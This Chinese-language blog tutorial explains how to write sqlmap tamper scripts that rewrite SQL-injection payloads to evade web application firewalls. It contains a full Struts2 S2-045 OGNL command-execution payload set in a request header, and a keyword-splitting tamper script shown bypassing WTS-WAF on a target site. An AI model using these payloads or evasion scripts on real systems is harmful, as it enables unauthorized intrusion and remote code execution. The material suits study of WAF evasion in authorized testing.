簡介
sqlmap
是一個自動化的SQL注入工具,而tamper則是對其進行擴展的一系列腳本,主要功能是對本來的payload
進行特定的更改以繞過waf/ids
可以理解為,sqlmap
在對漏洞網站自動化注入的時候,如果我們使用了tamper
腳本,sqlmap
的每個payload
都會經過tamper
這個包裝車間的加工,然后再進行投遞。
當我們使用網上公開的tamper
時,這個tamper
是怎么實現的我們不需要知道,只需要按照使用說明使用即可,但滲透測試中環境千變萬化,我們總會遇到需要自己編寫tamper
的場景,這也是本文的重點
使用方法
sqlmap.py XXXXX -tamper "模塊名"
sqlmap
的tamper
目錄下有一些簡單的tamper
腳本,可以進行簡單繞過
tamper結構簡述
以escapequotes.py
這個tamper文件為例
見名知義,該tamper是用來轉義的,將單引號轉換成\\'
,雙引號轉換成 \\"
代碼如下:
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Slash escape single and double quotes (e.g. ' -> \')
>>> tamper('1" AND SLEEP(5)#')
'1\\\\" AND SLEEP(5)#'
"""
return payload.replace("'", "\\'").replace('"', '\\"')
簡單解釋一下結構
__priority__
是當前腳本調用優先等級,該優先級用於使用多個tamper時的執行順序選擇
在自帶的tamper腳本中一共有以下幾種優先級,還可以自定義-100~100
__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWER
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.NORMAL
__priority__ = PRIORITY.HIGH
__priority__ = PRIORITY.HIGHER
__priority__ = PRIORITY.HIGHEST
dependencies
函數聲明該腳本適用或不適用的范圍,可以為空,例如:
import os
from lib.core.common import singleTimeWarnMessage
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
# singleTimeWarnMessage() 用於在控制台中打印出警告信息
tamper
是主要的函數,接受的參數為payload
和**kwargs
,返回值為替換后的payload
這里可以看出返回的是使用了python字符串替換函數replace,將字符串中的單引號和雙引號進行轉義
payload.replace("'", "\\'").replace('"', '\\"')
而tamper
函數不僅有payload
參數,還有可變長參數**kwargs
def tamper(payload, **kwargs)
kwargs
是一個字典,我們輸出出來看一下
def tamper(payload, **kwargs):
print(kwargs)
return payload
其結構為
{'headers': {}, 'delimiter': '&', 'hints': {}}
這里的kwargs['headers']
很明顯是我們的請求頭,我們可以對其進行自定義
如傾旋
師傅提到這樣來執行s2-45
kwargs['headers']['Content-type'] = "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
kwargs['headers']['User-Agent']="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" # 修改User-Agent
當然我們可以進行更多的自定義
編寫一個簡單的 bypass WTS-WAF tamper
了解了結構和說明之后,我們來編寫一個bypass wts-waf 的 tamper 腳本,思路就跟之前提到的這里相同,只是將其關鍵字中間添加了%
號:https://www.cnblogs.com/Cl0ud/p/14345881.html
目標站點是asp+Access
,裝着不知名版本的wts-waf
我們使用sqlmap
證明漏洞存在,tamper
內容為
'''
test bypass WTS-WAF
'''
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
payload=payload.lower()
payload=payload.replace('and','an%d')
payload=payload.replace('select','sel%ect')
payload=payload.replace('union','un%ion')
payload=payload.replace('sleep','sl%eep')
payload=payload.replace('or','o%r')
payload=payload.replace('between','bet%ween')
return payload
輸入命令
sqlmap.py -u http://漏洞URL?class=16 --tamper=wts_waf -v 3
這里的-v 3
是為了看到payload
它共有七個等級,默認為1:
- 0、只顯示python錯誤以及嚴重的信息。
- 1、同時顯示基本信息和警告信息。(默認)
- 2、同時顯示debug信息。
- 3、同時顯示注入的payload。
- 4、同時顯示HTTP請求。
- 5、同時顯示HTTP響應頭。
- 6、同時顯示HTTP響應頁面。
可以看到這里payload
中的關鍵字成功被加工
證明漏洞存在
想要通過注入點獲取數據和進一步操作需要在簡易版tamper
的基礎上再進行修改,比如禁用函數關鍵字的繞過等等,下次再寫,另外會寫一些繞過最新WAF的文章 :)